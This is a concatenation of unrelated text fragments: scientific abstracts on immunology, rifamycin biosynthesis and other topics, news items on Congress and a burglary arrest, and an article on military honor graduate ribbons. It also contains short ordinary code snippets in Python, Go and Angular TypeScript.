vaccine suppression of type 1 diabetes autoimmunity. Interestingly, fusion of CTB to insulin was found to be essential for the induction of IDO1 biosynthesis, suggesting that vaccine signaling functions may be involved in the suppression of DC activation. Conclusions Immunological tolerance that occurs in response to IDO1 induction results in the depletion of cellular tryptophan levels and the production of kynurenines that kill pro-inflammatory T-cells and induce the proliferation of immunosuppressive regulatory T-cells. The pivotal role IDO1 plays in immune suppression is dependent on the essential nature of tryptophan and the profound effect tryptophan catabolism has on the activation or inhibition of immunity and cellular metabolism. Thus, regulation of IDO biosynthesis or activity in antigen-presenting cells of the innate immune system is important in the regulation of their responses to immunological insults, such as infection, autoimmunity and cancer. Data presented in this review suggest that adjuvant-autoantigen vaccine-induction of IDO1 biosynthesis is a likely mechanism for specific and effective immune suppression of DC maturation, leading to the induction of durable peripheral tolerance. Understanding how adjuvant-autoantigen vaccines modulate IDO1 activity in human dendritic cells will facilitate improvements in combinatorial vaccine potency and safety, moving this effective immunosuppressive strategy closer to clinical applications for the prevention of autoimmunity and diseases that possess a strong chronic inflammatory component. |
Transgenealogies of Portuguese Performance Art The prefix "trans" is hardly new in art history. In the 1980s and 90s, a debate sprang up among art critics, such as Bonito Oliva, and theorists, including Lyotard and Latour, that set out some of the key dilemmas of these "trans" practices that are still operating today. The roots of the conceptual dynamics surrounding trans can be found in notions such as the Richard Wagners "total work of art", as well as in the processes of structural hybridity and, more specifically, artistic and scientific hybridity. From this conceptual framework, this article explores transgenealogies of artistic hybridisation in Portugal (Madeira 2007, 2012, 2015) by tracing different temporal cycles from the early twentieth century up to today: Futurism and Surrealism (1920s-50s), dimensionist poetry and experimental poetry (1950s-80s), performance art (1960s-80s), the transdisciplinary developments and new hybrid performativities, such as the new dance, new theatre, etc. (1990s), and the return to performance art and reperformance practices (from 2000). This article will highlight the transgenealogies, i.e., the genealogical transhistory of hybridism and transdisciplinarity, their networks of transversalities or regularities, produced throughout the different temporal cycles of Portuguese performance art in relation to the international art world. In order to do so, and to understand the significance of this idea of transgenealogy, the article traces the significance of the trans as it has inflected discourses about artfor it is the trans that brings hybridity into the visual arts, thus opening the door for performance. |
Comparison of partial discharge activity in mineral oil and bio-degradable oil This paper investigates the partial discharge activity and characteristics in mineral oil and bio-degradable oil. Both types of oils tested are commercial products and commonly used in transformers. Tests were done on laboratory models using paper insulated conductor sections to simulate transformer windings and needle-plane configuration to simulate corona in transformer. The laboratory models are insulated with both types of oils, with and without moisture. The overall partial discharge activity was analysed in terms of the phase resolved distribution. Also the individual partial discharge waveforms were analysed in the time and frequency domain. |
Partial characterization of a soluble ATPase from pea cotyledon mitochondria. A partially purified soluble ATPase (ATP phosphohydrolase, EC 3.6.1.3) from pea cotyledon mitochondria was characterized. Inhibition patterns with azide, NaF, and cold, and a stimulation by 2,4-dinitrophenol were typical of F1-ATPases from mammalian mitochondria. The enzyme hydrolysed GTP, ITP, and ATP, but not CTP, UTP, ADP, or IDP. ATPase and ITPase activities were strongly inhibited by ADP and to a lesser extent by IDP. Distinctive properties of the pea mitochondrial enzyme were activation by high concentrations of CaCl2 and stimulation by NaCl. |
Basic Training Honor Graduate Ribbon
U.S. Navy
The Navy Recruit Honor Graduate Ribbon was created on 18 August 2015, when U.S. Secretary of the Navy Ray Mabus released a statement authorizing the establishment of the Recruit Honor Graduate Ribbon. This ribbon is awarded to "initial accession enlisted personnel of the U.S. Navy who are designated as Honor Graduates." No more than three percent of each training group will be designated as honor graduates.
Fifteen recruits from Recruit Division 281 at Recruit Training Command (RTC), Naval Station Great Lakes, Illinois, were first awarded the ribbon on 20 August 2015. No retroactive awards will be made. In the Navy's military award order of precedence, the ribbon is worn after the Navy Ceremonial Guard Ribbon and before the Armed Forces Reserve Medal. Seaman Recruit Joseph Agbingpadua was the first recruit to receive the ribbon.
U.S. Air Force
The Air Force Basic Military Training Honor Graduate Ribbon was established on 3 April 1976 by order of the Air Force Chief of Staff, General David Charles Jones. The ribbon is awarded to graduates of Air Force basic training who have obtained an honor graduate designation and demonstrate excellence in all areas of academic and military training.
An airman must achieve at least a 90% on his/her physical fitness level during the final AFBMT physical fitness test. The AFBMT physical fitness test has four parts: 1.5-mile run time (60%), number of sit ups in a minute (10%), number of push ups in a minute (10%), and waist measurement (20%). If the trainee fails to reach a score of at least 90%, the airman is ineligible no matter how well he or she performed in other areas of basic training. Additionally, the airman must average over a 90 percent on all the written examinations, and never fail a graded inspection (graded inspections are conducted randomly after week #3). The airman must never receive a negative mark in a written evaluation. Current regulations limit the number of selectees to no more than ten percent of the graduating squadron.
The U.S. Air Force Basic Military Training Honor Graduate Ribbon is a one-time award and may not be presented retroactively. Those awarded are entitled to wear the Air Force Basic Training Honor Graduate Ribbon for the rest of their U.S. Air Force careers.
U.S. Coast Guard
The Coast Guard Basic Training Honor Graduate Ribbon was created on 3 March 1984, with the first presentation in April of that same year to Seaman apprentice Scott Woodard. The Basic Training Honor Graduate Ribbon is presented to the service member who graduates at the top of their basic training instruction class.
Retroactive presentations of the Basic Training Honor Graduate Ribbon may be awarded upon application from the service member to the United States Coast Guard. In such cases, the award will be presented for basic training graduation prior to 1984, only with supporting documentation and a written request from the service member. |
def sigterm_handler(_signo, _stack_frame):
global saving_db
if not saving_db:
saving_db = True
logger.warning("Caught SIGTERM, closing DB")
conn.commit()
logger.debug("DB Saved, exiting")
sys.exit(0)
else:
logger.info("Caught SIGTERM, Still Saving Data to Disk") |
The sudden resignation of Speaker John Boehner John Andrew BoehnerEx-GOP lawmaker joins marijuana trade group Crowley, Shuster moving to K Street On unilateral executive action, Mitch McConnell was right — in 2014 MORE has added a fresh dash of uncertainty to a year-end scramble on a host of policy matters.
The end of 2015 was looking to be wild even before Boehner John Andrew BoehnerEx-GOP lawmaker joins marijuana trade group Crowley, Shuster moving to K Street On unilateral executive action, Mitch McConnell was right — in 2014 MORE announced his exit at the end of October, with policymakers under pressure to deal with the debt limit, highway funding, expired tax provisions and several other lingering policy questions.
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Now the Ohio Republican has emerged a major player, many hope, freed from conservative pressure, he will use his final weeks to get a lot of that done.
“I wouldn’t be surprised if he decided to go out in a blaze of glory,” said Steve Bell, with the Bipartisan Policy Center. “trying to be able to walk away and say, ‘You know, I did as much as I could.’”
But with Boehner’s colleagues jockeying for a shake-up in House leadership, conservatives caution that any dramatic moves could put them in a tough spot.
Boehner indicated Sunday that he’d like to make life a little easier for his successor by clearing some of the trickier issues from the docket, relying on Democratic votes to overcome conservative opposition.
“I don’t want to leave my successor a dirty barn. I want to clean the barn up a little bit before the next person gets there,” he said on CBS’s “Face the Nation.”
While Boehner’s efforts to move on looming issues could help the next Speaker, it complicates matters for the Republicans vying to move up in House leadership. If Boehner pushes to bring contentious bills to the floor, he could force his close colleagues to make a tough decision: Back Boehner and help move critical bills, or try to lead a revolt against them. Conservatives are vowing to watch all that closely.
“There are real consequences if he goes down that path,” said Dan Holler, spokesman for Heritage Action. “If somebody looking to move up in leadership is going along with his decisions that rely overwhelmingly on Democrat votes, that’s a difficult dynamic.”
House Majority Leader Kevin McCarthy (R-Calif.), who just launched his bid to replace Boehner, downplayed the notion of broad action in the fall in an interview with Fox News Monday.
Here’s a handful of lingering policy matters that Boehner could try to push:
DEBT LIMIT
Tackling the $18.1 trillion debt limit would be a heavy lift for Boehner, given the strife it would cause in his conference. But in terms of clearing a path for his successor, a debt-limit fix could be one of the most consequential moves he could make.
The Treasury Department has told Congress it doesn’t need a borrowing boost until after the end of October, but the Speaker could act early to calm markets and dodge a catastrophic default by hammering out a debt-limit deal. It’s likely Democrats and a chunk of the Republican Conference would go along with a clean debt-limit increase with no conservative policy demands, but doing so would risk the wrath of his right flank, heightening divisions within the party.
GOP leaders have stepped away from the debt limit as a bargaining tool since a 2011 standoff led to a downgrade of the nation’s credit rating, and Boehner and Senate Majority Leader Mitch McConnell Addison (Mitch) Mitchell McConnellHouse to push back at Trump on border Democrats block abortion bill in Senate Overnight Energy: Climate protesters storm McConnell’s office | Center-right group says Green New Deal could cost trillion | Dire warnings from new climate studies MORE (R-Ky.) have been adamant this year that default is not up for debate. But conservatives are hoping the leadership shake-up puts it back on the table.
“Republicans in 2011 really sought to use the legislative tools at their disposal to extract policy concessions from the president,” said Holler. “‘No default’ rhetoric ... sent a very clear signal to anyone that was paying attention that they weren’t going to fight tooth and nail on this stuff.”
EXPORT-IMPORT BANK
The Export-Import Bank has been a focal point for conservatives, who won a major victory in forcing the bank’s charter to expire at the end of June. Since then, business interests have been looking for any opportunity to revive it, and see opportunity in Boehner’s move. Even as conservative criticism of the bank mounted, Boehner remained a supporter, and could work with Democratic and Republican Ex-Im backers to renew the charter before he leaves office.
But such a move would be a particular challenge for McCarthy, if he is chosen to succeed Boehner. The House’s No. 2 Republican declared opposition to the bank after taking on that leadership role, a rare difference he had with Boehner.
So some Ex-Im backers see the job of saving the bank as a tough one, as McCarthy gains influence at the top of the House GOP.
“It makes it a little bit harder on the Export-Import Bank, since Leader McCarthy is against it and Speaker Boehner was such a strong proponent,” said one financial lobbyist.
McCarthy flatly ruled out an Ex-Im revival Monday.
“Ex-Im, that has failed now and it should stay failed,” McCarthy said on “Special Report with Bret Baier.”
HIGHWAY FUNDING/TAX EXTENDERS
At first glance, pushing through a big deal to extend highway funding could be the most plausible item on Boehner’s potential to-do list. As McConnell likes to put it, there’s no such thing as a Republican or Democratic road.
Partly because of the bipartisan interest in infrastructure, there’s also reason to believe striking a major highway deal wouldn’t be as controversial with Boehner’s conservative critics as reauthorizing the Export-Import Bank or raising the debt limit.
For starters, neither GOP leaders nor the House’s conservative upstarts were fans of the Senate highway bill, with three years of funding, that McConnell pushed through this summer.
House Ways and Means Committee Chairman Paul Ryan Paul Davis RyanBrexit and exit: A transatlantic comparison Five takeaways from McCabe’s allegations against Trump The Hill's 12:30 Report: Sanders set to shake up 2020 race MORE (R-Wis.) is currently working to tie a major infrastructure package with a revamp of the U.S.’s international tax rules for business. Republicans on the committee said last week that they’re also trying to permanently revive some expired tax provisions, commonly known as extenders, in such a deal.
President Obama and other Democrats are against permanent extensions of the tax cuts, and McConnell has suggested that he thinks Ryan’s efforts aren’t really worth the time.
That points to another question for Boehner: Will he have a highway deal to advocate before leaving office at the end of October, or will Congress need another short-term extension?
Boehner said when the Senate voted on its highway bill he was confident a longer-term deal could be struck in the fall. Now, transportation advocates are hoping he’s able to seal the deal before he leaves Congress.
Keith Laing and Cristina Marcos contributed. |
def sorted_bases(bases):
ret = []
for base in bases:
lst = _bases(base)
if not ret:
ret = lst
elif not any(b in ret for b in lst):
ret += lst
else:
buf = []
for b in lst:
if b in ret:
if buf:
ret = graft(ret, buf, ret.index(b))
buf = []
else:
buf.append(b)
if buf:
ret += buf
return ret |
Posted by damien p. on August 04, 2013. Brought to you by yahoolocal.
Posted by by MJ W. on September 04, 2010. Brought to you by openlist.
Retro Pop Shop is located at 395 Laurel St, Lee, MA. This business specializes in Antiques & Collectibles and has 1 review(s) with a star rating of 1.0. |
Aransas Pass police are investigating an 18-year-old man's connection to nine burglaries after he used social media on a stolen tablet.
Police on Wednesday were called about nine vehicles that were burglarized around Windy Shore subdivision, according to a news release.
One of the stolen items reported missing was a tablet, which was used to find the suspect, the release states.
The owner of the tablet used the device's GPS.
"Additionally, the victim watched as the (suspect) used the device to log into his Facebook account," the release states.
Police tracked down the suspect and found the stolen tablet and other property reported missing. Police conducted a search of the man's vehicle and found meth "inside the center console along with a syringe," the release states.
Johnny Unger Peters was taken into custody on suspicion of theft and possession of a controlled substance. Police continue to investigate his connection to nine burglaries, the release states. |
Monaural Sound Source Separation by Nonnegative Matrix Factorization With Temporal Continuity and Sparseness Criteria An unsupervised learning algorithm for the separation of sound sources in one-channel music signals is presented. The algorithm is based on factorizing the magnitude spectrogram of an input signal into a sum of components, each of which has a fixed magnitude spectrum and a time-varying gain. Each sound source, in turn, is modeled as a sum of one or more components. The parameters of the components are estimated by minimizing the reconstruction error between the input spectrogram and the model, while restricting the component spectrograms to be nonnegative and favoring components whose gains are slowly varying and sparse. Temporal continuity is favored by using a cost term which is the sum of squared differences between the gains in adjacent frames, and sparseness is favored by penalizing nonzero gains. The proposed iterative estimation algorithm is initialized with random values, and the gains and the spectra are then alternatively updated using multiplicative update rules until the values converge. Simulation experiments were carried out using generated mixtures of pitched musical instrument samples and drum sounds. The performance of the proposed method was compared with independent subspace analysis and basic nonnegative matrix factorization, which are based on the same linear model. According to these simulations, the proposed method enables a better separation quality than the previous algorithms. Especially, the temporal continuity criterion improved the detection of pitched musical sounds. The sparseness criterion did not produce significant improvements |
<gh_stars>0
package vm
import (
"errors"
"github.com/nknorg/nkn/common"
"github.com/nknorg/nkn/crypto"
. "github.com/nknorg/nkn/errors"
"github.com/nknorg/nkn/util/log"
)
type ECDsaCrypto struct {
}
func (c *ECDsaCrypto) Hash160(message []byte) []byte {
temp, _ := common.ToCodeHash(message)
return temp.ToArray()
}
func (c *ECDsaCrypto) Hash256(message []byte) []byte {
return []byte{}
}
func (c *ECDsaCrypto) VerifySignature(message []byte, signature []byte, pubkey []byte) (bool, error) {
log.Debug("message: %x \n", message)
log.Debug("signature: %x \n", signature)
log.Debug("pubkey: %x \n", pubkey)
pk, err := crypto.DecodePoint(pubkey)
if err != nil {
return false, NewDetailErr(errors.New("[ECDsaCrypto], crypto.DecodePoint failed."), ErrNoCode, "")
}
err = crypto.Verify(*pk, message, signature)
if err != nil {
return false, NewDetailErr(errors.New("[ECDsaCrypto], VerifySignature failed."), ErrNoCode, "")
}
return true, nil
}
|
<gh_stars>0
#!/usr/bin/env python
# encoding=utf-8
"""
Copyright (c) 2021 Huawei Technologies Co.,Ltd.
openGauss is licensed under Mulan PSL v2.
You can use this software according to the terms and conditions of the Mulan PSL v2.
You may obtain a copy of Mulan PSL v2 at:
http://license.coscl.org.cn/MulanPSL2
THIS SOFTWARE IS PROVIDED ON AN "AS IS" BASIS, WITHOUT WARRANTIES OF ANY KIND,
EITHER EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO NON-INFRINGEMENT,
MERCHANTABILITY OR FIT FOR A PARTICULAR PURPOSE.
See the Mulan PSL v2 for more details.
"""
from .errors import ParseError
from .lex import Lex
from .lex import Token
class BlockNode:
def __init__(self, name):
self.name = name
self.sub_blocks = []
class ActionNode:
def __init__(self, name, params=None):
if params is None:
params = []
self.name = name
self.params = params
class Parser:
def __init__(self, stream):
self.stream = stream
def parse(self):
tokens = Lex(self.stream).lex()
return self.parse_block(iter(tokens))
def parse_block(self, iterator, name=None):
if name is None:
token = self.next_token(iterator)
if token is None:
raise ParseError('parse block: expect word, but EOF found')
elif token.mold == Token.MOLD_WORD:
return self.parse_block_with_name(iterator, token.value)
else:
raise ParseError('parse block: expect a word, but found %s' % token)
else:
return self.parse_block_with_name(iterator, name)
def parse_block_with_name(self, iterator, name):
block = BlockNode(name)
token = self.next_token(iterator)
if token is None:
raise ParseError('parse block: expect {, but EOF found')
elif token.mold == Token.MOLD_SYMBOL and token.value == Token.TOKEN_LBRACE:
blocks = self.parse_block_body(iterator)
else:
raise ParseError('parse block: expect a left brace, but found %s' % token)
block.sub_blocks = blocks
return block
def parse_block_body(self, iterator):
token = self.next_token(iterator)
if token is None:
raise ParseError('parse block body: uncompleted block body')
blocks = []
while token.value != Token.TOKEN_RBRACE:
if token.mold == Token.MOLD_WORD:
if token.value in ('run', 'suite'):
blocks.append(self.parse_action(token.value, iterator))
else:
blocks.append(self.parse_block(iterator, token.value))
else:
raise ParseError('parse block body: expect work, but found %s' % token)
token = self.next_token(iterator)
return blocks
def parse_action(self, name, iterator):
token = self.next_token(iterator)
if token is None:
raise ParseError('parse action: expect ;, but found EOF')
params = []
while token.value != Token.TOKEN_SEMICOLON:
params.append(token.value)
token = self.next_token(iterator)
if token is None:
raise ParseError('parse action: expect ;, but found EOF')
return ActionNode(name, params)
def next_token(self, iterator):
try:
return next(iterator)
except StopIteration:
return None
|
<filename>war-of-fame-client/src/app/components/auth/signUp/sign-up.component.ts
import {Component, OnInit} from '@angular/core';
import {Router} from '@angular/router';
import {SignUpModel} from '../../../core/model/user/sign-up.model';
import {AuthService} from '../../../core/service/auth/auth.service';
@Component({
selector: 'app-register',
templateUrl: './sign-up.component.html',
styleUrls: ['./sign-up.component.css']
})
export class SignUpComponent implements OnInit {
readonly SIGN_IN_URL = '/auth/signin';
private register: SignUpModel;
constructor(private service: AuthService, private router: Router) {
}
onRegister() {
this.service.register(this.register)
.subscribe(() => {
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Deciphering the late steps of rifamycin biosynthesis Rifamycin-derived drugs, including rifampin, rifabutin, rifapentine, and rifaximin, have long been used as first-line therapies for the treatment of tuberculosis and other deadly infections. However, the late steps leading to the biosynthesis of the industrially important rifamycin SV and B remain largely unknown. Here, we characterize a network of reactions underlying the biosynthesis of rifamycin SV, S, L, O, and B. The two-subunit transketolase Rif15 and the cytochrome P450 enzyme Rif16 are found to mediate, respectively, a unique CO bond formation in rifamycin L and an atypical P450 ester-to-ether transformation from rifamycin L to B. Both reactions showcase interesting chemistries for these two widespread and well-studied enzyme families. The biosynthetic network of late rifamycin derivatives. R-SV can be oxidized to R-S spontaneously in the presence of dioxygen and divalent metal ions. The transketolase Rif15 is responsible for transferring a C 2 keto-containing fragment from a 2-ketose to R-S, giving rise to R-L. The P450 enzyme Rif16 catalyzes the transformation from R-L to R-O in the presence of NADPH, ferredoxin (Fdx), and ferredoxin reductase (FdR). Finally, R-O is nonenzymatically reduced to R-B by NADPH Purified Rif16 appeared to be a functional P450 enzyme, as it had the expected red color and showed a signature peak at 450 nm in its CO-reduced difference spectrum ( Supplementary Fig. 4). To reconstitute the in vitro activity of Rif16, we used two surrogate redox partner proteins to shuttle electrons from NADPH to the heme-iron reactive center for P450 catalysis: the ferredoxin seFdx (SynPcc7942_1499) and the ferredoxin reductase seFdR (SynPcc7942_0978), both of which are from the cyanobacterium strain Synechococcus elongatus PCC 7942 and were here expressed heterologously in E. coli and purified 22. Against our expectations, Rif16 was not able to catalyze the conversion from R-SV to R-S, while R-S was readily reduced to R-SV by addition of NADPH alone ( Supplementary Fig. 5). Importantly, the hydroquinone R-SV was spontaneously oxidized to the quinone R-S by ambient O 2, and this transformation was dramatically accelerated by the presence of divalent metal ions (e.g., Cu 2+, Mn 2+, etc.) ( Supplementary Fig. 6), similar to previously reported findings 23. However, we cannot exclude the possibility that an oxidase might be responsible for enzymatic oxidation of R-SV into R-S in vivo. Taken together, our results suggest that Rif16, rather than performing a normal biooxidation, may catalyze an atypical P450 reaction in rifamycin biosynthesis. Functional characterization of Rif15. We next evaluated the in vitro activity of Rif15a/Rif15b at a 1:1 ratio (i.e., the reconstituted Rif15 transketolase) in the presence of R-S and F-6-P as the potential C 2 keto acceptor and donor, respectively, with ThDP and MgCl 2 as cofactors. As predicted, Rif15 converted R-S into a different product with higher polarity than R-B, while single subunits (that is, either Rif15a or Rif15b alone) were not able to catalyze the same transformation. Additionally, we found that both ThDP and Mg 2+ were required for the catalytic activity of Rif15 (Fig. 2a, trace i-vi). This is unsurprising since the diphosphate moiety of ThDP is bound to the transketolase through a bivalent cation to form the catalytically active holo-enzyme from the apo-protein 24,25. Protein sequence alignment of multiple transketolases shows that the residues involved in the interactions with ThDP and the metal ion are highly conserved regardless their origins and subunit organization modes ( Supplementary Fig. 7). High performance liquid chromatography-high resolution mass spectrometry (HPLC-HRMS) analysis revealed that the m/ z value of the product was 754.3069 ( -, deduced to be -) ( Supplementary Fig. 8), which is consistent with that of R-L or R-B in negative ion mode (calc. 754.3069). Since the retention time of this product was distinct from that of R-B, we suspected that the product here is R-L. Both the 1D ( 1 H, 13 Table 2) of the purified product were acquired, and spectral comparisons of the proton NMR data obtained from the product and the substrate R-S ( Supplementary Fig. 9) revealed a new set of CH 2 signals ( H-39 Moreover, Xu-5-P, Ru-5-P, S-7-P, and DHA were also able to serve as alternative C 2 keto donors for Rif15, with Xu-5-P being optimal in terms of conversion ratios under the same conditions ( Supplementary Fig. 14). To examine whether R-SV is also a direct precursor of R-L as previously proposed 2, similar Rif15 reactions were performed using R-SV as substrate, and, interestingly, we detected a small amount of R-L as a product (Fig. 2a, trace vii). In light of the spontaneous oxidation from R-SV to R-S by O 2 that we had observed in earlier assays (in aqueous solution in the presence of Mg 2+, Supplementary Fig. 6), 2 mM ascorbic acid was added to the Rif15 reactions to protect R-SV from oxidation (Fig. 2a, trace viii, ix) 26. Upon this addition, we no longer detected R-L as a reaction product (Fig. 2a, trace x), establishing that the previously detected R-L was actually derived from the spontaneously formed R-S. Collectively, our results from these in vitro assays demonstrate that Rif15 is a two-component transketolase that transforms a ketone (in R-S) into an ester (in R-L), a reaction that has not been found previously in natural product synthesis, to the best of our knowledge. Mechanistically, the deprotonation of ThDP at the thiazolium ring generates a carbanion, which is responsible for cleaving the C-2/C-3 bond in the 2-ketose. The resultant ThDPbound dihydroxyethyl group then undertakes nucleophilic attack of the C-4 carbonyl carbon of R-S, which is followed by bond rearrangements and re-aromatization, ultimately yielding R-L (Fig. 3a). Biochemical, structural, and mechanistic characterization of Rif16. Having characterized the R-SV→R-S→R-L transformation, we next sought to resolve the conversion of R-L into R-B. These The triangles indicate the carbon signals of residual glycerol derived from enzymatic reaction buffer two rifamycin derivatives have the same oxidation state, but we still chose to test the activity of Rif16 against R-L, since this P450 enzyme was previously shown to be required for R-B biosynthesis 17. Indeed, we found that R-L was significantly converted into R-B by Rif16 in the presence of seFdx, seFdR, and NADPH ( Fig. 2b, trace xiii, xiv); the structure of the product was confirmed by the identical retention time of the product and the R-B authentic standard, co-elution with R-B in a co-injection experiment (Fig. 2b Fig. 15). These results clearly establish that Rif16 is the longsought R-B synthase of rifamycin biosynthesis. To elucidate the catalytic mechanism for this atypical ester-toether transformation, the crystal structures of substrate-free Rif16 (PDB ID code: 5YSM, Fig. 4a) and R-L-bound Rif16 (PDB ID code: 5YSW, Fig. 4b) were solved at 1.90 and 2.60 resolution, respectively. In both of the structures, there was only one typical cytochrome P450 fold existing in an asymmetric unit. The BB' loop-B' helix-B'C loop region, which is known to be important for substrate specificity determination 27, is significantly longer than those of many P450 enzymes that recognize smaller substrates ( Supplementary Fig. 16). The missing electron density of this region in both structures suggests the great structural flexibility. Both findings might help explain how Rif16 is able to accommodate its bulky substrate R-L, which represents one of the largest substrates for a P450 enzyme with the substrate-bound crystal structure available 28. In the absence of substrate, Rif16 adopts an open conformation characterized by retraction of the F and G helices, loss of order in the B helix, and missing electron density for the BC and FG loops (Fig. 4a). A water molecule that is 2.5 away from the heme-iron forms the sixth axial ligand of Fe 3+ (Supplementary Fig. 17a). Upon binding with R-L, Rif16's FG loop becomes ordered but the B' helix and the BC loop remain disordered (Fig. 4b), thereby adopting a partially open conformation rather than the closed conformation observed in many substrate-bound P450 enzymes 29,30 (Fig. 4c). In the substrate-bound structure ( Fig. 4d and Supplementary Fig. 17b), R-L forms hydrogen bonds with residues S76, N108, F308, and T407, and additionally interacts with residues I107, A196, P197, I255, V303, P305, I307, F310, and L406 via hydrophobic interactions (all of these residues are within 5 of R-L). Critically, the axial water ligand is displaced and the hydroxyl group at C-39 of R-L is closest (4.5 ) to the heme-iron reactive center. These structural features suggest a possible mechanism for R-B production (Fig. 3a): the ferryl-oxo species (Compound I) likely abstracts the hydrogen atom of the C-39 hydroxyl group, leading to formation of a substrate radical and the ferryl-hydroxo Compound II. The resultant oxygen radical can then directly attack the neighboring arene to form a fivemembered ring pendant, and the radical would be delocalized to the aromatic ring. Next, the relocation of the spirocyclic intermediate could induce the second hydrogen abstraction from the C-1 hydroxyl group by Compound II. This diradical mechanism might result in the formation of R-O. Notably, similar mechanisms-involving two alternative substrate binding poses being responsible for hydrogen abstractions from two distant sites-have been proposed for C-O coupling reactions catalyzed by a number of P450 enzymes 31,32. Finally, the pentabasic cyclic compound R-O could be reduced to R-B (rather than R-L) by the NADPH-derived hydride, since the carboxylic acid is a better leaving group than the alcohol. This R-L→R-B conversion reaction lacks net oxidationreduction. To dissect this unusual P450 reaction experimentally, we elected to oxidize R-L by taking advantage of the peroxide shunt pathway of Rif16 18, in which H 2 O 2 acts as the sole oxygen and electron donor of Rif16; this approach allowed us to bypass the dual roles of NADPH from our previous reaction system (its roles as an electron donor for the P450 enzyme and as a hydride provider for direct reduction of R-O). Interestingly, R-S was the dominant product from this reaction (Fig. 2b, trace xvi), which likely resulted from the spontaneous hydrolysis of the P450 product R-O 15,33 (Fig. 2b, trace xvii). The addition of NADPH into the Rif16/R-L/H 2 O 2 system led to predominant production of R-B (Fig. 2b, trace xviii, xix), as R-O can be reduced to R-B in the presence of NADPH (Fig. 2b, trace xx) 34,35. Furthermore, the unstable compound R-O with the correct m/z value of 752.2920 ( -, calc. 752.2924) was observed in a time-course study ( Supplementary Fig. 18). These results strongly suggest that R-O is the intermediate that enables the conversion of R-L to R-B. To validate our proposed enzymatic reaction mechanisms, we performed a series of 13 C-tracer NMR experiments. First, R-L was prepared by mixing glucose, ATP, Mg 2+, hexokinase, G-6-P isomerase, Rif15a/Rif15b, ThDP, and R-S in a one-pot reaction. We observed that glucose was phosphorylated to G-6-P by hexokinase, which was subsequently transformed into F-6-P by G-6-P isomerase (Fig. 3). The Rif15-mediated transfer of the 13 C-labeled glycolic acid C 2 moiety from F-6-P to R-S resulted in production of R-L, with an enriched C-39 signal of C 62.4 (Fig. 3b). The identity of this product was further confirmed by LC-HRMS analysis indicating an m/z value of 755.3106 ( −, calc. 755.3105, Supplementary Fig. 19), which is~1 Da greater than that of unlabeled R-L − = 754.3069). Next, Rif16, seFdx/ seFdR, and NADPH were added into the above one-pot reaction. Supplementary Fig. 19) and by our observation that the 13 C-labeled carbon signal shifted downfield from C 62.4 to C 67.9 (Fig. 3b); both analytical results are consistent with the conversion of R-L to R-B via R-O (Fig. 3a). It was previously reported that the R-SV high-producer A. mediterranei U32 has an R84W single mutation in Rif16 16. The understanding of Rif16 mechanism allowed us to rationalize this industrially important phenotype. Specifically, the dissociation constant (K d ) of R-L toward Rif16 was determined to be 1.3 ± 0.1 M (Supplementary Fig. 20), while the purified Rif16 R84W mutant ( Supplementary Figs. 3 and 21) showed no detectable binding of R-L and lost the ability of catalyzing the transformation from R-L to R-B ( Supplementary Fig. 22). Since R84 is located at the B' loop of Rif16 ( Supplementary Fig. 16), which is an important region for P450 substrate recognition 27, its replacement by a tryptophan abolishes the productive substrate binding via a mechanism to be elucidated. Furthermore, according to the biosynthetic network shown in Fig. 1, the U32 mutant should accumulate R-L instead of the observed R-SV and R-S 16. We reason that the ester R-L might be unstable, which could be hydrolyzed to R-SV either enzymatically or spontaneously ( Supplementary Fig. 23). Our elucidation of the network comprising the late steps of rifamycin biosynthesis revealed a unique C-O bond formation reaction mediated by a transketolase that involves both normal C-C bond formation and unusual bond rearrangements. Notably, transketolases primarily participate in central metabolic pathways such as pentose phosphate pathway and the Calvin cycle, and there have been few reports on transketolases that are involved in natural product biosynthesis 36,37. The ether bond formation derived from the concomitant oxidation-reduction reactions and complex bond rearrangements also represents a highly atypical reaction for a P450 reaction system. The knowledge on the slow kinetics and the optimal C 2 keto donor of Rif15 could also help direct the future rational strain improvement. Finally, BLAST searches demonstrate that there exist other protein sequences with high similarity to Rif15 and Rif16 (Supplementary Table 3, Supplementary Fig. 24), suggesting that more Rif15-like and Rif16-like functionality could be further identified. Some of these enzymes come from rifamycin producing microorganisms, which may suggest an effective method for discovery of more rifamycin producers by using Rif15 and Rif16 sequences as probes. Methods Chemicals. Rifamycin SV and rifamycin O authentic standards were purchased from Sigma Aldrich (USA) and Toronto Research Chemicals (Canada), respectively. Rifamycin S and rifamycin B authentic standards were bought from National Institutes for Food and Drug Control (China). General DNA manipulation. The E. coli DH5 strain was used for plasmid construction, storage, and isolation. Fast-digest restriction endonucleases (Thermo Fisher Scientific, USA) and T4 DNA ligase (Takara, Japan) were used for construction of vectors. PCR reactions were performed using I-5 TM 2 High-Fidelity Master Mix DNA polymerase (TsingKe Biotech, Beijing, China). Plasmid isolations from E. coli cells were performed using the Plasmid Miniprep Kit (TsingKe Biotech, Beijing, China). Purification of DNA fragments from agarose gels or PCR reactions was carried out using Gel Extraction Kit (Omega, USA) and Cycle Pure Kit (Omega, USA), respectively. Primers were synthesized by TsingKe (China). Protein concentration determination. For Rif16 and Rif16 R84W, the UV-visible spectra were recorded on a DU 800 spectrophotometer (Beckman Coulter, USA). The CO-bound reduced difference spectrum was employed to determine the functional concentration of P450 enzymes using the extinction coefficient ( 450nm-490nm ) of 91,000 M -1 cm -143. Briefly, CO was slowly bubbled through the Na 2 S 2 O 4 reduced P450 enzyme solution using a Pasteur pipette in a fume hood. The spectra of ferric, CO-bound, and CO-bound reduced forms of the P450 enzyme were recorded between 250 and 550 nm for generation of the CO-bound reduced difference spectrum. The protein concentrations of other proteins were determined using the Bradford assay with bovine serum albumin as standard 44. Spectral substrate binding assays. Spectral substrate binding assays were carried out on a UV-visible spectrophotometer 50 Bio (Cary, USA) at room temperature by titrating 100 M rifamycin L DMSO solution (blank DMSO for the reference group) into 1 mL of 1 M Rif16 or Rif16 R84W solution in 1 L aliquots, leading to the substrate concentrations ranging from 0.1 to 1.2 M. The series of Type I difference spectra were used to deduce A (A peak(390 nm) -A trough(420 nm) ). Then, the A data versus substrate concentrations were fit to Michaelis-Menten equation to calculate the dissociation constant K d 45. In vitro enzymatic assays of Rif15 and Rif16. The Rif15 reaction mixture con- Kinetic analysis of Rif15. The kinetic analysis of Rif15 was carried out using 2-10 M Rif15a/Rif15b, 10-100 M R-S as substrate, 2 mM F-6-P as the C 2 keto donor, 2.5 mM MgCl 2, and 0.5 mM ThDP in 100 L of reaction buffer. The reactions were performed 15-30 min at 28°C and quenched by mixing with the same volume of methanol. After high-speed centrifugation (20,000 g) for 15 min, the supernatants were analyzed on an Agilent 1260 infinity 